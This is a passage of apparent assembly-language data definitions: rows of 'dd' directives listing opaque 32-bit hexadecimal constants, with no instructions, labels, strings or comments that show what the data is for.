835E34C1h, 0F14BF2A3h, 0D02CF863h, 0D6D9E50Fh, 0B2F12C89h dd 35379D5h, 0BD4A324Dh, 5900CE2Fh, 4CB09AA6h, 840EBBE7h dd 5161B290h, 454D5F58h, 0E4BA4410h, 0F940CE83h, 506B5884h dd 66F1024Eh, 0F38620CCh, 0E710419Ah, 748244AFh, 8B01B750h dd 0B3174C06h, 0D4A847F6h, 11F76871h, 8841BE03h, 844C054Ah dd 59EF6996h, 42C7188h, 1B17CA18h, 8591FF1h, 0D6D80297h dd 0C7101C4Dh, 0D9494059h, 87ACB1C0h, 7838F31Fh, 0EE22006Ch dd 0B2608949h, 0F007C1C8h, 153D3B54h, 8AB8A841h, 60B9C440h dd 1E7400DEh, 0F06716Bh, 98144FF7h, 981A59h, 0AE0C858Fh dd 28015F5h, 0A8EC3251h, 0A88E6031h, 62E68AC0h, 75074118h dd 0D75A9661h, 0BC93200h, 7C8E804Ch, 0B8C54300h, 0F320C6C8h dd 6A023CCFh, 88004BA0h, 0FCAF906Ch, 346CB9Dh, 5F18BC0h dd 0D080CFD9h, 0C200C68Ch, 8767AEB2h, 9576775Bh, 3B7F5140h dd 0D49AE0A9h, 0F8D3362Dh, 2C218200h, 709E1D93h, 173B0F3h dd 5CCF7E3Ah, 60D1ABF8h, 4A602158h, 0FABB1C80h, 2F84009Bh dd 2520969Dh, 0E600318Ch, 0DE722C56h, 5476DBh, 1C17A770h dd 0AC94A2B0h, 0EDFC0A50h, 801B623Ch, 9DE975E0h, 0CCFBAAh dd 95E3BB8Dh, 0F2894A2Dh, 0B627C507h, 7B5068D8h, 58B46FFh dd 0E09462B3h, 4C8400F3h, 8E11C3Fh, 7717CE00h, 552ADE27h dd 0C41D509Eh, 9850FDE5h, 0E0CBCFEh, 9AA88F66h, 0EE834AE0h dd 0AB073293h, 0FF43D6F9h, 6244B790h, 0C249015h, 3599637Bh dd 4024EC48h, 80BC4411h, 750FD246h, 40174D81h, 0FE079545h dd 0D4B38605h, 38831E54h, 9B38E0A0h, 67FF0079h, 0E5263082h dd 680028BDh, 0AFFC6EF1h, 6CE0D7h, 29014E56h, 62984DCAh dd 15C4100Eh, 557B2042h, 0B10E68h, 0E2C7F6BAh, 38EC9280h dd 3F457A00h, 317F4B70h, 0FA5B0078h, 590F93BAh, 28C0FC5Ah dd 44CA7A20h, 352F032Ch, 61DD1AD9h, 8151A6F0h, 34F333Eh dd 92F47F5Dh, 3C5E0024h, 2BCAD68Eh, 21005F25h, 46860736h dd 0FB6516h, 0F97BABA9h, 8D8B171h, 0F4365700h, 668E8431h dd 0D1E100B8h, 0A868D04Dh, 78007E5Ah, 0C36A5C7Dh, 9AC991h dd 70FF889Fh, 210E721h, 1249EA0h, 0A00F5A74h, 0FEFC9h dd 46BBCBF4h, 2CA43D54h, 68E512h, 19315149h, 0D101DB3Bh dd 0A28F9D71h, 12E45566h, 44DF001Fh, 896A6BE0h, 0E3761730h dd 0C8BE100Eh, 96401E28h, 0CD99B09h, 2F4303B7h, 38155A04h dd 0DA3F01C0h, 0D70EDC00h, 47AE6660h, 6C7F0078h, 7591E0E3h dd 0D6B0F412h, 94B6BC00h, 59F255FDh, 0EF08009Eh, 0C86DDBAAh dd 7226FBDCh, 6507FAA5h, 93A0601Dh, 1E26C155h, 0C08A7551h dd 91F8C96Fh, 7207ED4Ah, 11D60205h, 0AF1B28F0h, 0B2E90004h dd 4CB107E5h, 3D24AAEDh, 3926E69Eh, 0FC7AAE00h, 27FEC5Eh dd 0CA20F82Fh, 714032CDh, 92771969h, 37662703h, 0C0111E3Fh dd 0F681CAh, 0C8C3B065h, 0FDA37F15h, 0F705E200h, 0B1402A3Fh dd 4A97004Fh, 81809D7Bh, 891C4325h, 0D00BD23h, 0C0E3B5D5h dd 0E95D00DAh, 58A18CAFh, 7CEE532Dh, 0F500DFFCh, 0CF105983h dd 0EB162A9h, 70AF69ECh, 0EF6BD340h, 9B005A6Dh, 0AC33A41Eh dd 169637A3h, 40156A7Ah, 91433F83h, 58018741h, 727B278Eh dd 0B7CCC41Eh, 28477CFCh, 0E835EE6h, 0C3329514h, 0D468DAE0h dd 0D328917Dh, 7A7E8430h, 4AD1A600h, 0CD5D3F60h, 42FE33h dd 62D93D4h, 36CAA247h, 446EC21Ch, 41EAD3C0h, 68B6ABh dd 2CA6C6DFh, 0B519748Dh, 27640201h, 0C4580DFAh, 3B47FCh dd 8A76CF52h, 0EFFB5DE8h, 4D06200h, 0E3DC0B48h, 0A3BB0006h dd 19B3EC33h, 8301C31Ch, 17767CA0h, 5283F88Ch, 39EC6ABAh dd 2FCFA7E0h, 0CDDAE21Dh, 5A00EB28h, 8206CBD5h, 36A863h dd 599C76D1h, 0F397447Dh, 0B16C1200h, 6050EB8Dh, 0D3820023h dd 0CE988FFFh, 2700B4C2h, 0CA5D0FD5h, 266DC613h, 185B14h dd 89844F85h, 0EB002604h, 69678EF0h, 7160FBh, 0E7ED501Bh dd 921E7595h, 72E91300h, 830B2690h, 1BC10077h, 99A7CC1Dh dd 2A0049C7h, 0A6710D4Fh, 0F81770ADh, 348C003Bh, 1E5AA02Dh dd 0FAEC7B3Dh, 6CB02E02h, 6022BF5Fh, 743CFB64h, 0E45F249h dd 8BE03DD4h, 0BA42FC20h, 7E7407ADh, 3E3A413Eh, 383480D3h dd 0D093223h, 5CDD00BFh, 0E4562ACh, 110A5BF7h, 0ECB1101Bh dd 6427A607h, 0E7C2AA61h, 0F42012C9h, 1D765C6Ah, 1992090Fh dd 0A49713A0h, 680036E2h, 9365EB89h, 0EE9DE5DAh, 0CB4B00A0h dd 0E3749A6Dh, 65E0C5D5h, 3AA49900h, 24E6FCB9h, 0B4F800B6h dd 0BF6A6C7Ah, 803B1AC1h, 0DA71D52h, 4B9B2380h, 836F9h dd 0E3983389h, 0F574FA10h, 0CFDF5B00h, 428F6CE1h, 34890060h dd 3BAF264Fh, 8600B06Fh, 0EAD862AEh, 1548D2h, 43760685h dd 0BE888C55h, 5E7AF600h, 41AC4F92h, 0C847007Fh, 0A1C5D0Eh dd 0DE002157h, 44631397h, 3DF403Ch, 48D46AD2h, 0FDA82991h dd 6F004195h, 8ADB54CCh, 3F237859h, 0F97F18h, 0EC4E870Bh dd 2B857D4Fh, 327061Eh, 1DA5CC00h, 7EE0753Ah, 1E3503B0h dd 0BB581BEBh, 6A8E70DFh, 7E0024C8h, 3B22F05Eh, 81870Fh dd 0EC789A15h, 3A026A6Fh, 7BF86903h, 0E020B851h, 0A90D52h dd 5DC13D58h, 45FAC3DFh, 665F7200h, 2659F3C7h, 8951003Ah dd 0B1118194h, 0CE07039Ch dd 0ADC0017Eh, 569DD5D1h, 0EF30D061h, 762C00F4h, 97AAC1F9h dd 0EB00234Dh, 331D40EAh, 3F49ECF2h, 2280A55Bh, 34A66CF1h dd 6F00DD80h, 0A12C0185h, 0FD4D55h, 0A349F813h, 0EE78B496h dd 92002D72h, 1F26E494h, 7AD97C4h, 4F40A702h, 1EECA1C5h dd 6F98C845h, 0FCF42207h, 0CF0046D8h, 4DA2E0h, 0C394DFD2h dd 86A532F2h, 5CD79D3Ch, 56022D91h, 7E003D63h, 0DCA2D240h dd 34737D7Bh, 24A94400h, 0DAF0FC60h, 0F3B50061h, 0D29C056Bh dd 0C800F26Dh, 6514E076h, 188882E5h, 386C3A51h, 2A004F73h dd 5EA731FAh, 0FC9F709h, 41FFEB7Ch, 36E03E2Fh, 711982F8h dd 0B7779600h, 0E7F34B29h, 0AE9B00F6h, 92E0CEB9h, 2D9016A2h dd 0EFE89A2Ch, 0A0D28200h, 62FDE3h, 0B3805E34h, 0B9235542h dd 1B8B9503h, 0E06E4C59h, 0B0DE656Bh, 62A600E2h, 0D7FFBABFh dd 0FC00B0C9h, 4E36C5A0h, 1D63CD88h, 0A9BB86h, 9709B987h dd 40047D4h, 623DC745h, 0FA6D6Ah, 0C6412B71h, 91F6397Dh dd 0C5A7490Bh, 42688065h, 0E7A6D62h, 7989D1B0h, 0BD00094Eh dd 2FB4B1A0h, 67F3981Ch, 9EE00DC3h, 3104C4Dh, 0B8948600h dd 0A54B3BECh, 0D8342F00h, 0F8AAD3C9h, 0D54E00F2h, 0C49EAB73h dd 0BCF6622Bh, 3B933Eh, 797402C8h, 2A0F65h, 0A15C5258h dd 0B7BE42AEh, 665BF605h, 8DC078CBh, 0C8A61Ch, 56FE31E0h dd 94060F73h, 0D01FC201h, 786ADB46h, 0C610C080h, 0AD7D6318h dd 320E1A0Eh, 44F980ACh, 908A6939h, 0C18F077Ch, 10D781D5h dd 0F54FB84Bh, 1FFDFE00h, 0B6DAAD53h, 94FB002Dh, 23B4D375h dd 85006D4Dh, 3DC811BDh, 39E6Bh, 0B30CA4CCh, 4EE83134h dd 96B03200h, 3DB1D049h, 0E9C01D84h, 0A70C0BF7h, 635C3C80h dd 8E00E5F4h, 70BE669Dh, 0C289DCh, 3C210D9Ah, 4B4F815Ah dd 8377DCA0h, 2A951A00h, 288D2FB5h, 1CAB00DCh, 5BA4C77Ch dd 497A0F5Fh, 18053E00h, 0B0CB80B8h, 558F0794h, 1042C8C2h dd 0EB6063Bh, 16235C3Eh, 0FC03BC3Fh, 0F8C688A0h, 9DEDFh dd 938271DCh, 0D3062F96h, 51903E00h, 0EEF8B3A2h, 9C98DAh dd 8CBA726Eh, 81D7A711h, 2EA925h, 6F7FD19Ch, 0B0F3F0CEh dd 7BB11DF8h, 0D78E0FE1h, 1B861243h, 0E3588998h, 0D41E3619h dd 98315259h, 0D858A2h, 9A90187Ah, 0B0BFAD31h, 64AA7777h dd 0EAF8FC0h, 8E457415h, 2CC19C64h, 0DA11F2FBh, 153B4C4h dd 8ECAE967h, 80DCBC50h, 0DDB87A50h, 0FAD1976h, 0DF66518Ch dd 1D7167C3h, 467DCCF0h, 9F01DAE2h, 19F915B6h, 0B770B769h dd 712100F6h, 0B3DDEEBh, 800324D9h, 0AC67810Ch, 36A3A0AAh dd 0F3E30333h, 952218C0h, 0D3021780h, 0EA793400h, 28AB49D0h dd 47050B39h, 0EA863EB2h, 0A700106Eh, 7D8733E8h, 0FF9482h dd 42A2812h, 167F4D40h, 0AFE84F00h, 0DDBD681Ah, 92070071h dd 0F1817A57h, 0A0047D3h, 0A6FF65A0h, 3509FC4h, 873BC79Bh dd 617C7151h, 0B125F100h, 18F74F20h, 43B3E7Ah, 3CD32C00h dd 0CF4CF69Dh, 7829BA30h, 0A1FB085Fh, 298025FBh, 0AD76FDF0h dd 0DEE2FE39h, 0B93A5930h, 0F8AF4358h, 0E63801F0h, 5F8D677Fh dd 6B50EC0Eh, 620245E0h, 6A034D26h, 9C98800Bh, 201E77h dd 0D905128Ah, 27517E4Ah, 0DF0110C0h, 0FCF95Eh, 0BB76C519h dd 2B93FE50h, 0A23C8B00h, 2FE5995Dh, 8D680003h, 0C2B0F912h dd 5AE49EDEh, 0B2D54D00h, 33EE2B67h, 3F8D758Ch, 786AD6h dd 917208FAh, 51FB61A9h, 0A4D84300h, 0A03A13F3h, 0F5960015h dd 0A3A81FC9h, 290039D5h, 4B8C53Fh, 0C19093B9h, 0BF0BE539h dd 0B418ACCCh, 3098C400h, 1D67ACFh, 3B745B9h, 43A785B4h dd 43C9A4A4h, 88807ADDh, 1B1493h, 91958FEAh, 18A5F1E0h dd 0B6B41600h, 0F6743E78h, 61C00063h, 3B5AEBD6h, 430065FDh dd 923A15E2h, 2E2FDCB9h, 0D3DAEh, 129D561h, 9C0055E9h dd 803EC454h, 0EDC28Dh, 0D735A4CFh, 0EFEB86A2h, 2518A301h dd 0DB2DC6F2h, 0F1ABEF0h, 59A63E94h, 0B7408E00h, 0E8F0D89Eh dd 5B6A5106h, 0F0BA89h, 53FF1CEEh, 90652A17h, 0D7847000h dd 466A6350h, 52DE019Ah, 0B8D193DDh, 8C3AECCAh, 38393Ch dd 5D6D4974h, 38C821BCh, 0DB01A8B0h, 0EC919AFBh, 0FD9BF085h dd 0B8838D0Fh, 0DC4F0097h, 7BD56C50h, 1A620772h, 0F0E6584Bh dd 0D791275Ah, 0C2003879h, 6BFEEC0Dh, 0C88D0E0h, 0ED2B1383h dd 6D00A741h, 475FF2B1h, 13A0852h, 711DF565h, 0E0357CD7h dd 0B37511ABh, 6DE96800h, 675DA437h, 0DFF689h, 0EA9B18B8h dd 6470D85Ah, 3A7D8204h, 20C0E72Ah, 8DC7D6h, 1133643h dd 0A1F9F2A5h, 17574400h, 2DFD658Bh, 0B64C00E5h, 5F7FF1D6h dd 8161F93Ah, 0F53B2B98h, 16D99Dh, 0B8845D20h, 0E30166F8h dd 550650DBh, 41FC4B45h, 3B279B1h, 4CFE42B6h, 65F32FD2h dd 0A7A54800h, 9FC52315h, 0A2A800E7h, 0EEEC2069h, 14001374h dd 0F4BE030Ch, 7ED57Bh, 18459972h, 51153FFBh, 8900837Fh dd 7542F36Dh, 1AC6801h, 0D579EF80h, 0E0D1C5F0h, 4F07AFFCh dd 6813DD25h, 9D737BE0h, 3EA22986h, 42F06720h, 0B710F28Eh dd 0A9FA28h, 0C3E67F6h, 0BE87A8D4h, 0FEAD50C0h, 2C2FD1Dh dd 0BB99A4ACh, 0A162E806h, 0C6246D40h, 8000B72h, 76A6EBAFh dd 7A60B7h, 0A1F873CAh, 0B8F1B343h, 803EC63Dh, 0FB34FC6Ch dd 4DC93Bh, 494B2FBFh, 0D6122039h, 1A508A03h, 0B0C867C3h dd 0D1A321h, 0CD55DF17h, 22392C2Bh, 56B9C71Ch, 0E0A6B54Fh dd 26D39E9Ah, 4F580008h, 0ED88D759h, 2A7FE55Ah, 1D7855Ch dd 1A130ADFh, 41DCE33Dh, 0D8400766h, 0D0878F82h, 202E50B8h dd 7083FE00h, 0E4C98AB9h, 6C5B3C24h, 921A6A00h, 8FD795B0h dd 4A3BB503h, 0E33EB985h, 0E014F391h, 241CBDAAh, 12C61BBh dd 0C97032E7h, 0B989C0D2h, 8737123Bh, 0A1E0B404h, 46CA97F0h dd 4F78BFh, 16899F76h, 0CE853F3h, 4A10B2A0h, 0C6D13C00h dd 2A847861h, 0EFD80096h, 0EABFD48Fh, 0C2003679h, 4B865C21h dd 4C9611FFh, 0C1C2509h, 0E9DA5E23h, 0F21E4120h, 7EF40C8Ch dd 71BCB027h, 129F0E9Bh, 801ED1E5h, 8978A1CAh, 7B746A32h dd 0AD807F01h, 4E9F5E0Bh, 0A3B0E0BAh, 0ABD73920h, 5F9A6200h dd 857F8827h, 41600096h, 2EF03F21h, 6700E5A1h, 32E4836Bh dd 1D7EC3FCh, 8703D0F6h, 0D2EED92Dh, 0DC805C45h, 5D8D93F3h dd 9D943F3Dh, 0D1406629h, 73850FB4h, 0F0DC0042h, 249FB19Ah dd 38032869h, 0BA3D3A94h, 0ADD343h, 9840D190h, 83FF0D49h dd 0A221DF00h, 0D70920C8h, 0D13B00F0h, 54D83257h, 880E8C10h dd 2016CA62h, 83844EF7h, 30DAEACBh, 39A0F248h, 79003E98h dd 3F639D61h, 740BEA7Fh, 0CF950092h, 88E7EC3Ah, 6A003532h dd 0C65582C2h, 0DD8E9Eh, 61E5AA03h, 6BDB933Eh, 33819000h dd 8449C6BFh, 76501C73h, 5F6E40FDh, 0F4E195D9h, 7E073700h dd 0BB85705Bh, 0E924188Fh, 0B348883Bh, 0C390F060h, 3F73E0h dd 0CEDE3897h, 0FB3D928Dh, 4D247B0Ah, 77804C5h, 0D3DB0008h dd 0C0721D3Bh, 620C024Ch, 204B693Ah, 132D0084h, 0EE4E57A3h dd 2C632215h, 4C6708h, 0D3982920h, 948CF60Ah, 0FC045900h dd 0F1EA4FC6h, 30F7F219h, 8F70D9FFh, 5D005F1Bh, 74A8E13Eh dd 17CA3DEh, 0EE1D7E84h, 83E9F037h, 0E24DF228h, 0A2A00327h dd 87FAF657h, 74C15CE0h, 191BB9C0h, 3B9EDD08h, 70BD9255h dd 7C183394h, 0E1540203h, 0D580E508h, 7300F536h, 0DB767897h dd 1DE6E7h, 0EE43568Ch dd 7AEBE962h, 7F024E00h, 90FBD25h, 0D8501F2Fh, 2B6200E8h dd 4C8F01F2h, 750003FEh, 0ECE629F5h, 0C81955Ah, 0C4CF67C9h dd 0CB03ABB0h, 0EA420CA4h, 0A3ACFC92h, 0D13E94Ch, 5DF002Dh dd 4BB78F1Bh, 9702B0A6h, 0DE57A0C1h, 4ABA1812h, 621380h dd 25FC60B5h, 6FB289D4h, 3D7EE71Ch, 247C80FCh, 0B1B6518Ch dd 0EF2600C4h, 7F7A583h, 5C00E6EBh, 0E5039BF3h, 0E80FE47Bh dd 4FD1004Ah, 67382558h, 6207D8CAh, 7605569h, 0C05B48D3h dd 50C69694h, 0AFCB418h, 6112210Dh, 40601FBCh, 3CF2DBC4h dd 0E750A30Bh, 910B70D8h, 54E2F96Ch, 0BFC60F06h, 0C08103E4h dd 5C134E84h, 0F8027C0Bh, 0CCE880DAh, 9C90629h, 49D2A776h dd 0BA883817h, 21FF674Ah, 0FF648F91h, 0F0B9C7ECh, 1B45F8F9h dd 0B06FCA00h, 0C4FE6B0Ah, 9F177B5h, 73D4EAE3h, 20867021h dd 5920D672h, 1053FEB3h, 80F02A6Eh, 7BE244A3h, 0B27D0085h dd 0F3E01A05h, 3D004586h, 562CB442h, 75E41C47h, 10680EE6h dd 28407727h, 0CE21F896h, 0D0535402h, 0C0EADE69h, 2ABEDC9h dd 7B57DF9h, 54409D80h, 3A48E8FAh, 20D400D4h, 0E1A24E5Fh dd 83F1001Ch, 94D5EC77h, 6E3A5A18h, 11A58DCh, 20E6AC53h dd 0A080428Ch, 0A99C6D24h, 0B403FBA8h, 5B8E6976h, 3E9A036h dd 98240F7Eh, 6B66BE0Dh, 7B1278E8h, 0B040BB92h, 94165175h dd 8F560B90h, 1E0018B2h, 3DD9821Fh, 0DFC830A0h, 5421FEF4h dd 0D7468234h, 8C40247Dh, 61001EBDh, 65C4FD94h, 8BA8CDh dd 8CE571D9h, 0A7462576h, 149E4F00h, 0E2790B0Ah, 111F077Ch dd 0B6107B98h, 680090E1h, 0FB3B8024h, 9CDC30h, 9B811152h dd 0BE1DA2DBh, 47A0E400h, 0B057380h, 3E8A02F6h, 7BFA4809h dd 0F9BE040h, 0EC7D52h, 56BC2A9Ah, 8415E0A6h, 327188A4h dd 3611B600h, 0E6234AFBh, 0EF400022h, 0CF4641F2h, 3F48F580h dd 4B0076B0h, 0B0D18FB4h, 373016Fh, 8E2CC377h, 5CF9D20Ch dd 4D8440C8h, 27585D94h, 6AE600EBh, 1F56BDB3h, 0C3E500BAh dd 9CE15BF8h, 39004DF5h, 193915Dh, 0CF3B05h, 0F41DCC76h dd 2C8AB8DFh, 0EABD5A09h, 964081EEh, 3F08F020h, 3099A901h dd 91F653C6h, 80FD2C11h, 0B2FB2780h, 60391Eh, 32E3D805h dd 0DE54C5E8h, 5A308501h, 0DF0327B9h, 0C400A433h, 0DCE39810h dd 2884F4A5h, 0A48EDFh, 38E0CB55h, 2CA719B7h, 0B250B002h dd 40460FE9h, 5CFC4Ch, 0EBA5C2D4h, 0B93A4D96h, 607248h dd 0EE989C69h, 91C96274h, 0E4387058h, 26007D42h, 0CEBDF1DAh dd 4405AE2Ah, 3F8A28D7h, 0E81A2C83h, 80E5FEC5h, 1652E67Fh dd 0DB7E0130h, 35A4FA75h, 8A20DA0Dh, 1FE7C84h, 0EE408096h dd 0F0FA0AF2h, 5812B9D4h, 0B82C193Bh, 0D198C2Dh, 36FCAA91h dd 8DC0B822h, 5392BCE8h, 73D6A30Ch, 1379F2h, 432ABC4h dd 0F0C74448h, 46CF858h, 27E2605Dh, 0B04C640h, 2F21B04Bh dd 55D80018h, 4CBBFB3Eh, 62B8E075h, 5611739h, 7C8DB66Ch dd 45E28C04h, 1304B488h, 9E174ACh, 0B4222E80h, 1B20D7C1h dd 0EE24623h, 1EF1A03Ah, 0B1B48CE0h, 2A0958E1h, 0A77B6E26h dd 90102E80h, 0ADF4F41h, 0C568E127h, 1AF05E88h, 0BEE70286h dd 2B9D78FDh, 9959704Ch, 0A97280B0h, 93DE625Ch, 74A30870h dd 0BDE73200h, 1C5C7A28h, 0C480A7A1h, 0CCB12C3Fh, 0E6188BF0h dd 65E8C5A3h, 39EF262Ah, 0C0251FB0h, 92638C9Ch, 8D071559h dd 0C29F54EEh, 0FA8F8270h, 439B0057h, 4A75D558h, 3490337Ah dd 80F26938h, 0EDC9FCEEh, 77553660h, 0DB1C0040h, 0E6427112h dd 0AC0A7848h, 0E4C33094h, 0A20CA882h, 0C6806068h, 0D4AA00E6h dd 0F07BCA83h, 8CA01851h, 800DB4Dh, 39662B6h, 7FD43E6h dd 6DD126DCh, 0C6E08010h, 0F124DEF2h, 0AB414413h, 27083DE5h dd 0F92EDB04h, 0A48B490Ch, 0BE445700h, 0F1C9FA02h, 27FC3000h dd 0C8C03716h, 22E10053h, 0D3A38E88h, 0A900A885h, 626333FAh dd 172A6ADCh, 491C518Bh, 0AC957258h, 0DC127493h, 0CA35AC20h dd 0DBAF0023h, 0B3FFF190h, 5A01F7B5h, 0C7032DC3h, 0AC23F07Dh dd 0ACDC54A5h, 1E61CC80h, 0D40E8733h, 0E5C34171h, 0A890678Eh dd 0B0FC880h, 51F3CE8Ah, 0BB4EC88h, 0E4977B1Fh, 2474BE04h dd 0AA875920h, 0FA031298h, 3353EBFEh, 0F942E03Ah, 4C713E7Bh dd 605C39AEh, 0A9CB22Bh, 8AF8BC21h, 8C3851h, 85B8AAC7h dd 0E03B343Fh, 0F3E406DEh, 58416E89h, 4C81388Ch, 0E815218Eh dd 0A205717Ah, 54B09CA5h, 637DE6C0h, 53813A5Eh, 43748900h dd 6B6EBBD3h, 0EFA26101h, 42DDFC4Ch, 72080C4h, 0D7A7521Ch dd 43CA922Ch, 0FCAE807Dh, 3A6C9C9Ah, 0BF1859ADh, 7F7D30EAh dd 81983D00h, 0BE69170Fh, 219100E6h, 0ECC6B0F3h, 9E7FB77Eh dd 15994A03h, 0CC6A8Ah, 0D6883F58h, 73CF3017h, 0A3401451h dd 0F40421h, 0C9D802E4h, 1849B714h, 9A033577h, 0F4907892h dd 0F5639819h, 84CE00C1h, 4D1F2524h, 0B78DF35h, 666A9703h dd 46199C89h, 0AB8A3418h, 0D30F5C4Ch, 0E0E7B58Dh, 21E5A862h dd 0F62200ECh, 0C42EA4B4h, 0A70605FDh, 96D1AB09h, 846E7619h dd 2374B111h, 84C67A10h, 0D22018D1h, 5288FA26h, 0ABE1FCAh dd 146604B1h, 3E3845F6h, 3DFD181Fh, 39ACBE36h, 0F5279802h dd 8404FE18h, 184DF028h, 30A0E275h, 1D84CFF1h, 31FC9F4Eh dd 417F5D30h, 42CFB60Ch, 18A10E54h, 5BE4061Ah, 0EB731424h dd 0F75E8390h, 0F41914FBh, 42144826h, 8D081839h, 16842C50h dd 0D45EFAEBh, 322A24E3h, 0C00D5330h, 3068460Ch, 0A8A6BAF1h dd 48F0EA33h, 827DE0BEh, 0F14124h, 0B105FB93h, 5C51ADF8h dd 40C2DD0Ch, 0A117AB90h, 909B1B09h, 9600214Fh, 2AF00D2Eh dd 98BD267Dh, 540A0102h, 0D9183C1Dh, 0B380DFA3h, 0AFF2F564h dd 6F73AD00h, 0CD5A38B8h, 0C32C02CEh, 264C88A5h, 1C549880h dd 0B0A2C518h, 4DB7E175h, 0CAA21880h, 23374285h, 572AA500h dd 432D501Eh, 0C76D308Ch, 586334A0h, 4B06EA1Fh, 607F7120h dd 2233898Ah, 8E002E46h, 0E25F3DBDh, 48BEB829h, 2D2C989Bh dd 45CB0ADDh, 0FEE6541Ch, 0E80937E2h, 2087945Ah, 0A606B768h dd 98E40285h, 342F4028h, 0E5A9480h, 16F2FD4Ch, 0F9A6B200h dd 0A875A3E8h, 0D6DE03D5h, 3BA2954Dh, 36CB44C0h, 32FA35F8h dd 2B6D5C00h, 0E93051BFh, 0CA8900A4h, 8CE77C7Fh, 7B15D5C9h dd 3914D6B5h, 80AFBC3Fh, 0E0E24C9Dh, 7D3A1DCh, 0B66D9EF6h dd 6F9540E8h, 560076FBh, 6ACBB332h, 0EDF7Dh, 0A00DC97Ch dd 0AD529DDh, 20F78E00h, 99417E1h, 71DB0034h, 50F992A3h dd 0D118EFC3h, 0FDB884B2h, 0DCCBF645h, 372BC098h, 745E3DC2h dd 0DB163Ch, 8E571F36h, 77D27Dh, 0D448923Eh, 0F6214E9Ch dd 680680CAh, 0BFF50B80h, 0A5C15B08h, 0A4020040h, 767C8EF6h dd 43903800h, 0E0D64587h, 2AE32E72h, 61E3CFAh, 804A9E80h dd 3D7BA41Ch, 0AAF0C7BEh, 7C9F4C00h, 7A9944A5h, 465E004Dh dd 5C9549AFh, 272842ECh, 0A61B9EE9h, 0E0E04337h, 0EC977582h dd 71723F78h, 12543160h, 82F4A2A1h, 0C47618C4h, 78D9CC00h dd 69038A4Eh, 0BA609D7Ah, 0A9301E4Ch, 584AB23h, 0C00E7933h dd 7BB75B5Bh, 0FC274D00h, 8DBCF801h, 413F181Ah, 56A5A89Bh dd 85830400h, 93A03CD3h, 403100B9h, 7ABF2A82h, 5E1F90D0h dd 54663F91h, 69C1861Ch, 3338B1A5h, 8553189Eh, 0B4557Ah dd 0EE654B88h, 0D3E6761Bh, 5493A40Ch, 0FEECF119h, 0E940C085h dd 6169F39h, 4ADAEE02h dd 0F7709C2Eh, 44FAE160h, 3435B000h, 0B665F7B3h, 97BC002Ch dd 4BE2C886h, 273BA58Bh, 0B1490CE3h, 3DCB38ADh, 8103ABDBh dd 1FD233CAh, 0DC916AF8h, 4B66900h, 7C7D8BACh, 6773313Dh dd 707147A0h, 264A4EDFh, 12005CA8h, 0C93F9269h, 0D00D48Eh dd 0A2C4801Ch, 1A5CCD3h, 0A4CF96E8h, 0BD3B069Bh, 0E87CB1D0h dd 108FFF2Ah, 8E8C9954h, 500F6DB0h, 0B577E9A5h, 10BE8730h dd 0D1700B54h, 9A0AC67Bh, 9CF6D928h, 8A5B5C00h, 0E499558h dd 27BA0490h, 0A6D39D20h, 0A9026BA5h, 0C8C30641h, 0D7144325h dd 0DAC60068h, 393F34FAh, 0E40438F4h, 0E68FB9EFh, 60DC88h dd 827F5E27h, 9396AA43h, 94666B02h, 805B564Bh, 8A72CA94h dd 504F61AEh, 0DC527A35h, 600269D6h, 4724D1ACh, 381066D8h dd 97FA0CFh, 448A7B72h, 0C31D3482h, 79BE3960h, 466E4D07h dd 97F0A795h, 0B8312Ah, 375E4294h, 0CA4D7C81h, 0F334AF18h dd 0EE3D89E0h, 27F9C483h, 0C25081D6h, 60B445F2h, 8154FC50h dd 0A1AEED0Ah, 25804870h, 0E87D728h, 0B4DD006Ch, 0AED6BE4Ch dd 86074BF8h, 0B36DF314h, 9B09280h, 6CE9006Ah, 8C19445Bh dd 4300DE61h, 66160C07h, 0C1C8ABC2h, 19B49F28h, 544BE413h dd 5528D000h, 0B9D59D47h, 655C064Eh, 3140CAC6h, 43774800h dd 9A6CB093h, 0F3A1007Ch, 4FC3D23Bh, 0BE2C2CE5h, 7200BA8Ah dd 0F7AAC8AEh, 0E45F0088h, 4994AF9Dh, 9E008A26h, 33E3BFB5h dd 0DABC515h, 0A6FEF20Bh, 21F1D020h, 434C3Dh, 8767C33Bh dd 18C0401Eh, 0B8614414h, 90337A0Bh, 0E82530A2h, 1DD343Bh dd 12CF1388h, 800BBCE0h, 79DAA758h, 6749E5CEh, 601F5453h dd 9192846Ch, 0D6A63Ah, 0A9669DF8h, 0C3AFC29h, 34F1B01Dh dd 0C43C1099h, 5D1A8C0Ah, 8EC10BBh, 5EA1BC43h, 8070EAC6h dd 48FEF08h, 0C16F8638h, 0DEE4C061h, 0E51D8BA2h, 5B002E64h dd 69B059ACh, 7A580382h, 80718EAAh, 0ADE3BD90h, 27CA4100h dd 0DE9B7D3Fh, 6FB202B3h, 0D6C06AA5h, 0FC8ECA5h, 0B629D904h dd 0A60DFF83h, 161A1800h, 0BB3B2D78h, 0F43A0A29h, 0FE4D836h dd 8D00DF10h, 0B05B64CBh, 0BC6C801Ch, 70B74Fh, 38480C79h dd 3BF00754h, 40E79912h, 3241620Dh, 861C4D70h, 5F81AEE1h dd 0A0ADB2D2h, 33102026h, 0C01C04D9h, 4902E55h, 550ED261h dd 0CEC89806h, 8FE2244Fh, 0DE290E27h, 0A35DC5h, 27E8E3E4h dd 58C08305h, 0ED4C5277h, 0CF810CABh, 69502D3Bh, 0A42C5501h dd 8C4FF8A7h, 3CDB95E0h, 7300B690h, 0B3BF6E93h, 1E031179h dd 0A3524A4Eh, 0B6610161h, 0B06512ACh, 0E448530Ah, 53909A80h dd 99179402h, 728D4h, 0B9F6D8E7h, 20C6B00Ah, 0E000E17Fh dd 0D6CBC85Ch, 0AA2602E5h, 25AC13Fh, 5C8A088h, 5E9C4B20h dd 0D70443D0h, 0D6B8396Fh, 0F50049D3h, 70975765h, 7DDC7AEAh dd 4FE400AFh, 0C276107Dh, 8000C77Eh, 0D75ACB62h, 1EF7F0F3h dd 3DCC4DC9h, 41A6B780h, 0F2AABB35h, 7081BE0Eh, 5AF2Ah dd 6E98A248h, 844490C7h, 83260724h, 0CAAD65E0h, 0AC0A801Ch dd 6108A8B6h, 68C23CA6h, 2734CEAEh, 6BD640D9h, 9126C51h dd 6C102328h, 0E898C530h, 0B54B1830h, 57A8F009h, 8E143060h dd 2200648Dh, 6B1AD890h, 1728A68Bh, 3600909Bh, 0C9C5377Bh dd 6EE58DDh, 0A49A56E9h, 0FA3D3161h, 97A21D09h, 81E15B9Eh dd 0E6908C99h, 5A18CECDh, 7870AD6h, 0E2309AF7h, 3A38A416h dd 606802CBh, 0D97088D6h, 8C8A7FE1h, 706BAD40h, 0A69A7DF0h dd 